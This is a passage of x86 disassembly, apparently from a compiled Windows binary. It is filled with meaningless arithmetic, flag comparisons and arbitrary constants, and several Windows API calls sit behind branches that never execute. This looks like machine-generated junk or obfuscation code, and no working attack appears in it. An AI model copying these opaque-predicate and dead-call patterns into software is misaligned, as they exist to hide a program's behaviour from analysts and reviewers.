je 0x44d9b3
mov dword [ebp - 0x1bfc], 1
jmp 0x44d9ba
and dword [ebp - 0x1bfc], 0
imul eax, dword [ebp - 0x1bfc], 5
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0x2600]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0x2600]
cmp eax, dword [ebp - 0x1c04]
je 0x44d9ef
mov dword [ebp - 0xd3c], 1
jmp 0x44d9f6
and dword [ebp - 0xd3c], 0
mov eax, dword [ebp - 0x53c]
cmp dword [ebp - 0xd3c], eax
jge 0x44da10
mov dword [ebp - 0x2450], 1
jmp 0x44da17
and dword [ebp - 0x2450], 0
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0x2a94], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2458], 0x7f51ef99
mov eax, 0x7f51ef99
cmp eax, 0x411d7fea
jne 0x44da4c
mov dword [ebp - 0x2460], 1
jmp 0x44da53
and dword [ebp - 0x2460], 0
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x2a9c], eax
mov eax, dword [ebp - 0x1c04]
mov dword [ebp - 0x2aa4], eax
mov dword [ebp - 0xd44], 4
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2600]
cmp dword [ebp - 0xd44], eax
jg 0x44da95
mov dword [ebp - 0x1c0c], 1
jmp 0x44da9c
and dword [ebp - 0x1c0c], 0
mov eax, dword [ebp - 0x53c]
cmp eax, dword [ebp - 0x1c0c]
jg 0x44dab6
mov dword [ebp - 0xd4c], 1
jmp 0x44dabd
and dword [ebp - 0xd4c], 0
mov eax, dword [ebp - 0xd4c]
mov dword [ebp - 0x2468], eax
jmp 0x44d947
mov dword [ebp - 0x2aac], 0x1fcc1031
mov dword [ebp - 0x270], 0x3fa75c1
mov dword [ebp - 0x600], 0x4fddd3f4
mov dword [ebp - 0x544], 0x89226c31
mov dword [ebp - 0x2e4], 0x26d8d38
mov dword [ebp - 0x7cc], 1
mov dword [ebp - 0x2480], 0xfff7
mov dword [ebp - 0x2490], 1
mov dword [ebp - 0x2498], 0xb7203fca
mov dword [ebp - 0x7c4], 0
jmp 0x44db41
mov eax, dword [ebp - 0x7c4]
inc eax
mov dword [ebp - 0x7c4], eax
cmp dword [ebp - 0x7c4], 1
jge 0x44db5d
mov eax, dword [ebp - 0x7c4]
mov dword [ebp + eax*4 - 0x2470], 0xffffffff
jmp 0x44db34
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x270], 8
je 0x44db7e
mov dword [ebp - 0x1c14], 1
jmp 0x44db85
and dword [ebp - 0x1c14], 0
mov eax, dword [ebp - 0x270]
cmp eax, dword [ebp - 0x1c14]
je 0x44db9f
mov dword [ebp - 0xd54], 1
jmp 0x44dba6
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0x270]
imul eax, dword [ebp - 0xd54]
mov dword [ebp - 0x544], eax
mov eax, dword [ebp - 0x544]
cmp dword [ebp - 0x600], eax
jne 0x44dbd3
mov dword [ebp - 0x1c1c], 1
jmp 0x44dbda
and dword [ebp - 0x1c1c], 0
cmp dword [ebp - 0x1c1c], 0x6bc3ec3d
jle 0x44dbf2
mov dword [ebp - 0xd5c], 1
jmp 0x44dbf9
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0xd5c]
mov dword [ebp - 0x2e4], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x2ab4], eax
cmp dword [ebp - 0x7cc], 1
jle 0x44dc26
mov dword [ebp - 0x1c24], 1
jmp 0x44dc2d
and dword [ebp - 0x1c24], 0
mov eax, dword [ebp - 0x270]
imul eax, dword [ebp - 0x1c24]
dec eax
cmp eax, 0xe5de
jle 0x44dc4e
mov dword [ebp - 0x64], 0
jmp 0x450198
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x4501ae
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x580], 0xbbca6318
jmp 0x450191
mov dword [ebp - 0x64], 0
jmp 0x4501be
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 3
jge 0x4501d4
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x3a4], 3
jmp 0x4501b7
mov dword [ebp - 0x64], 0
jmp 0x4501e4
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jge 0x4501fa
mov eax, dword [ebp - 0x64]
mov dword [ebp + eax*4 - 0x1f98], 0xfffffff7
jmp 0x4501dd
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x3a4], 0
jmp 0x450225
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3a4], 2
jg 0x450832
mov dword [ebp - 0x70], 0x1f3813bf
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
cmp dword [ebp + eax*4 - 0x580], 0
je 0x4503e4
mov dword [ebp - 0xb5c], 1
mov dword [ebp - 0x82c], 0
jmp 0x45027c
mov eax, dword [ebp - 0x82c]
inc eax
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x82c], 3
jge 0x450298
mov eax, dword [ebp - 0x82c]
mov dword [ebp + eax*4 - 0x3140], 0xfffffffe
jmp 0x45026f
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3a4], 2
jl 0x4502b3
mov dword [ebp - 0x2044], 1
jmp 0x4502ba
and dword [ebp - 0x2044], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x3140], 0x977a1245
mov eax, dword [ebp - 0xb5c]
mov dword [ebp - 0x2d30], eax
push 3
pop eax
test eax, eax
je 0x4502f9
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3a4], 0
je 0x4502f9
mov dword [ebp - 0xf44], 1
jmp 0x450300
and dword [ebp - 0xf44], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x580]
sub eax, dword [ebp - 0xf44]
mov dword [ebp - 0xb5c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
mov eax, dword [ebp + eax*4 - 0x580]
cmp dword [ebp - 0xb5c], eax
je 0x45033f
mov dword [ebp - 0x1e0c], 1
jmp 0x450346
and dword [ebp - 0x1e0c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
mov ecx, dword [ebp - 0x1e0c]
sub ecx, dword [ebp + eax*4 - 0x580]
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
cmp ecx, dword [ebp + eax*4 - 0x580]
jg 0x450380
mov dword [ebp - 0xf4c], 1
jmp 0x450387
and dword [ebp - 0xf4c], 0
cmp dword [ebp - 0xf4c], 0x7904
jg 0x4503a5
mov eax, 0x52fa
test eax, eax
jne 0x4503a5
and dword [ebp - 0x1e14], 0
jmp 0x4503af
mov dword [ebp - 0x1e14], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x580]
cmp eax, dword [ebp - 0x1e14]
jle 0x4503cf
mov dword [ebp - 0xf54], 1
jmp 0x4503d6
and dword [ebp - 0xf54], 0
mov eax, dword [ebp - 0xf54]
mov dword [ebp - 0x70], eax
jmp 0x4505a7
mov dword [ebp - 0x2314], 0x92764969
mov dword [ebp - 0x70], 2
jmp 0x4503fe
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jl 0x4504c3
mov dword [ebp - 0x668], 0xb91ee4c
mov byte [ebp - 0x282], 0
movzx eax, byte [ebp - 0x282]
test eax, eax
je 0x45043a
push 0
push 0
push 0x1659
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
mov dword [ebp - 0x668], 2
jmp 0x450453
mov eax, dword [ebp - 0x668]
dec eax
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0
jl 0x4504be
mov dword [ebp - 0x834], 0
mov dword [ebp - 0x834], 0
jmp 0x45047f
mov eax, dword [ebp - 0x834]
inc eax
mov dword [ebp - 0x834], eax
cmp dword [ebp - 0x834], 2
jg 0x4504bc
mov byte [ebp - 0x3d1], 0
movzx eax, byte [ebp - 0x3d1]
test eax, eax
je 0x4504ba
push 0
push 0xb44
push 0xca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
jmp 0x450472
jmp 0x450446
jmp 0x4503f7
mov eax, 0x8cbdb62b
test eax, eax
je 0x4504ec
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x580]
sub ecx, dword [ebp - 0x2314]
cmp dword [ebp + eax - 0x580], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
cmp dword [ebp + eax*4 - 0x580], 7
jne 0x45050e
mov dword [ebp - 0x1e1c], 1
jmp 0x450515
and dword [ebp - 0x1e1c], 0
cmp dword [ebp - 0x1e1c], 0
jne 0x45052a
mov dword [ebp - 0xf5c], 1
jmp 0x450531
and dword [ebp - 0xf5c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x580]
imul eax, dword [ebp - 0xf5c]
push 4
pop ecx
shl ecx, 1
imul eax, dword [ebp + ecx - 0x3a4]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x3a4]
je 0x45056b
mov dword [ebp - 0x1e24], 1
jmp 0x450572
and dword [ebp - 0x1e24], 0
cmp dword [ebp - 0x1e24], 0xffffffff
je 0x450587
mov dword [ebp - 0x1e2c], 1
jmp 0x45058e
and dword [ebp - 0x1e2c], 0
mov eax, dword [ebp - 0x1e2c]
mov dword [ebp - 0x70], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x70]
mov dword [ebp + eax - 0x1f98], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
mov dword [ebp - 0x2d38], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
cmp dword [ebp + eax*4 - 0x580], 0
jne 0x4505db
mov dword [ebp - 0xf88], 1
jmp 0x4505e2
and dword [ebp - 0xf88], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1f98]
cmp dword [ebp + eax*4 - 0x580], ecx
jl 0x450610
mov dword [ebp - 0xf64], 1
jmp 0x450617
and dword [ebp - 0xf64], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f98]
cmp dword [ebp - 0xf64], eax
jle 0x45063b
cmp dword [ebp - 0x70], 0
jne 0x45063b
and dword [ebp - 0xf8c], 0
jmp 0x450645
mov dword [ebp - 0xf8c], 1
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0xf8c], eax
jg 0x45065c
mov dword [ebp - 0xf70], 1
jmp 0x450663
and dword [ebp - 0xf70], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
cmp dword [ebp - 0xf70], eax
jne 0x450683
mov dword [ebp - 0x1d58], 1
jmp 0x45068a
and dword [ebp - 0x1d58], 0
imul eax, dword [ebp - 0x1d58], 0x1818
test eax, eax
jne 0x4506b7
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
cmp dword [ebp + eax*4 - 0x580], 0
jne 0x4506b7
and dword [ebp - 0xf78], 0
jmp 0x4506c1
mov dword [ebp - 0xf78], 1
mov eax, dword [ebp - 0x70]
add eax, dword [ebp - 0xf78]
je 0x4506dd
xor eax, eax
inc eax
je 0x4506dd
mov dword [ebp - 0x1768], 1
jmp 0x4506e4
and dword [ebp - 0x1768], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
mov eax, dword [ebp + eax*4 - 0x580]
cmp dword [ebp - 0x1768], eax
jg 0x45070b
mov dword [ebp - 0xf80], 1
jmp 0x450712
and dword [ebp - 0xf80], 0
cmp dword [ebp - 0xf80], 0xfffffffa
jne 0x450727
mov dword [ebp - 0x1b60], 1
jmp 0x45072e
and dword [ebp - 0x1b60], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
cmp dword [ebp - 0x1b60], eax
jg 0x45074e
mov dword [ebp - 0x1770], 1
jmp 0x450755
and dword [ebp - 0x1770], 0
mov eax, dword [ebp - 0xf88]
cmp eax, dword [ebp - 0x1770]
jg 0x450772
cmp dword [ebp - 0x70], 0
jne 0x450772
and dword [ebp - 0xf90], 0
jmp 0x45077c
mov dword [ebp - 0xf90], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x3a4]
mov ecx, dword [ebp - 0xf90]
sub ecx, dword [ebp + eax*4 - 0x580]
push 4
pop eax
shl eax, 1
cmp ecx, dword [ebp + eax - 0x3a4]
je 0x4507af
mov dword [ebp - 0x1e58], 1
jmp 0x4507b6
and dword [ebp - 0x1e58], 0
cmp dword [ebp - 0x1e58], 0x6ca138db
je 0x4507ce
mov dword [ebp - 0xf98], 1
jmp 0x4507d5
and dword [ebp - 0xf98], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xf98]
sub ecx, dword [ebp + eax - 0x3a4]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x580]
jge 0x450802
mov dword [ebp - 0xb64], 6
mov dword [ebp - 0x42c], 0xe10e5e53
mov dword [ebp - 0x670], 0
jmp 0x45085f
mov eax, dword [ebp - 0x670]
inc eax
mov dword [ebp - 0x670], eax
cmp dword [ebp - 0x670], 2
jge 0x45087b
mov eax, dword [ebp - 0x670]
mov dword [ebp + eax*4 - 0x2364], 0x9fb023ed
jmp 0x450852
mov eax, dword [ebp - 0xb64]
mov dword [ebp - 0xfa0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xfa0]
mov dword [ebp + eax - 0x2364], ecx
mov eax, dword [ebp - 0xb64]
cmp eax, dword [ebp - 0xfa0]
jl 0x4508e9
mov byte [ebp - 0x284], 0
movzx eax, byte [ebp - 0x284]
test eax, eax
je 0x4508ca
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov byte [ebp - 0x37d], 0
movzx eax, byte [ebp - 0x37d]
test eax, eax
je 0x4508e4
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
jmp 0x450a73
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x204c], 0xfffffffb
mov eax, 0xe24307a3
test eax, eax
je 0x450933
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0x2d40], eax
mov eax, dword [ebp - 0x494]
mov dword [ebp - 0x2d48], eax
mov eax, 0xc7f05f43
test eax, eax
je 0x450933
mov dword [ebp - 0x1b68], 1
jmp 0x45093a
and dword [ebp - 0x1b68], 0
mov eax, dword [ebp - 0x1b68]
mov dword [ebp - 0x204c], eax
cmp dword [ebp - 0xb64], 1
jle 0x45095b
mov dword [ebp - 0xfa8], 1
jmp 0x450962
and dword [ebp - 0xfa8], 0
mov eax, dword [ebp - 0x494]
imul eax, dword [ebp - 0xfa8]
test eax, eax
jne 0x45097f
mov dword [ebp - 0x1780], 1
jmp 0x450986
and dword [ebp - 0x1780], 0
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x1780]
jg 0x4509a0
mov dword [ebp - 0xfb0], 1
jmp 0x4509a7
and dword [ebp - 0xfb0], 0
mov eax, dword [ebp - 0x494]
imul eax, dword [ebp - 0xfb0]
cmp eax, dword [ebp - 0x42c]
jl 0x4509c8
mov dword [ebp - 0x1d60], 1
jmp 0x4509cf
and dword [ebp - 0x1d60], 0
mov eax, dword [ebp - 0x1d60]
lea eax, [eax + eax - 0x464802be]
cmp eax, 0x88cd
je 0x4509ef
mov dword [ebp - 0xfb8], 1
jmp 0x4509f6
and dword [ebp - 0xfb8], 0
mov eax, dword [ebp - 0x494]
cmp dword [ebp - 0xfb8], eax
jl 0x450a10
mov dword [ebp - 0x1788], 1
jmp 0x450a17
and dword [ebp - 0x1788], 0
mov eax, dword [ebp - 0x494]
cmp dword [ebp - 0x1788], eax
jg 0x450a31
mov dword [ebp - 0xfc0], 1
jmp 0x450a38
and dword [ebp - 0xfc0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2364]
cmp dword [ebp - 0xfc0], eax
jne 0x450a59
mov dword [ebp - 0x1b70], 1
jmp 0x450a60
and dword [ebp - 0x1b70], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b70]
mov dword [ebp + eax - 0x2364], ecx
mov dword [ebp - 0x42c], 0
jmp 0x450a8c
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 1
jg 0x450b0e
mov dword [ebp - 0x2d50], 1
mov dword [ebp - 0x2d58], 0xffffffff
mov dword [ebp - 0x2d60], 0xcd6a9b03
mov dword [ebp - 0x2d68], 0x8642e5f0
mov dword [ebp - 0xfc8], 1
mov dword [ebp - 0x83c], 0
jmp 0x450ae0
mov eax, dword [ebp - 0x83c]
inc eax
mov dword [ebp - 0x83c], eax
cmp dword [ebp - 0x83c], 1
jge 0x450afc
mov eax, dword [ebp - 0x83c]
mov dword [ebp + eax*4 - 0x2d70], 0x9ae86a67
jmp 0x450ad3
mov eax, dword [ebp - 0xfc8]
inc eax
mov dword [ebp - 0xfc8], eax
jmp 0x450a7f
mov byte [ebp - 0x3d3], 0
mov dword [ebp - 0x7c], 0xca631852
mov dword [ebp - 0x844], 1
mov dword [ebp - 0x2054], 0xfffffff7
mov dword [ebp - 0xfe8], 0x7c6dd3ed
mov dword [ebp - 0x1010], 0xfffffffb
mov dword [ebp - 0x7c], 0
jmp 0x450b54
cmp dword [ebp - 0x7c], 0xffffffff
je 0x450e0e
mov dword [ebp - 0xff0], 1
mov dword [ebp - 0x1798], 0x91ee4cff
mov dword [ebp - 0x1b78], 0x49744027
mov dword [ebp - 0x678], 0
jmp 0x450b95
mov eax, dword [ebp - 0x678]
inc eax
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], 1
jge 0x450bb1
mov eax, dword [ebp - 0x678]
mov dword [ebp + eax*4 - 0x1008], 0x6085
jmp 0x450b88
mov byte [ebp - 0x286], 0
movzx eax, byte [ebp - 0x286]
test eax, eax
je 0x450bd2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
cmp dword [ebp - 0x7c], 0
je 0x450d3b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1008]
mov dword [ebp - 0x2e80], eax
cmp dword [ebp - 0x7c], 0
je 0x450c07
cmp dword [ebp - 0x7c], 0
je 0x450c07
and dword [ebp - 0x1790], 0
mov eax, dword [ebp - 0xff0]
cmp dword [ebp - 0x1790], eax
jne 0x450c28
and dword [ebp - 0xff8], 0
cmp dword [ebp - 0xff8], 0xa898cbdb
je 0x450d61
push 8
pop eax
test eax, eax
je 0x450d61
and dword [ebp - 0x17a8], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x17a8]
cmp eax, 0x1b36
jl 0x450d84
movzx eax, byte [ebp - 0x3d3]
test eax, eax
je 0x45102c
mov dword [ebp - 0xf0], 5
mov dword [ebp - 0x524], 1
mov dword [ebp - 0xb70], 0xfffffff9
mov dword [ebp - 0x2064], 0xfffffffd
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xf0], 0
jmp 0x450e6b
cmp dword [ebp - 0xf0], 0x31
jl 0x451024
mov dword [ebp - 0x1020], 1
mov dword [ebp - 0x570], 0xffffffff
mov dword [ebp - 0x1028], 3
mov dword [ebp - 0x17c0], 0
mov byte [ebp - 0x288], 0
movzx eax, byte [ebp - 0x288]
test eax, eax
je 0x450ec6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
mov eax, dword [ebp - 0x1020]
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 0
jne 0x450fdc
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0x2e98], eax
mov eax, dword [ebp - 0x524]
cmp dword [ebp - 0xf0], eax
jle 0x450f05
mov dword [ebp - 0x23d8], 1
mov eax, dword [ebp - 0xb70]
mov dword [ebp - 0x17c0], eax
mov eax, dword [ebp - 0x524]
cmp dword [ebp - 0x17c0], eax
jl 0x45100c
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
mov dword [ebp - 0x2f4], 3
mov dword [ebp - 0x140], 0xd21dfe4b
mov dword [ebp - 0x2ec], 0xfffffffe
mov dword [ebp - 0x206c], 0
mov dword [ebp - 0x680], 0
jmp 0x45106d
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 4
jge 0x451089
mov eax, dword [ebp - 0x680]
mov dword [ebp + eax*4 - 0x30ec], 0
jmp 0x451060
cmp dword [ebp - 0x2f4], 0
jne 0x4510aa
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
jne 0x4510aa
and dword [ebp - 0x1d70], 0
jmp 0x4510b4
mov dword [ebp - 0x1d70], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d70]
mov dword [ebp + eax - 0x30ec], ecx
mov dword [ebp - 0x2f4], 0
jmp 0x4510e0
cmp dword [ebp - 0x2f4], 3
jg 0x451442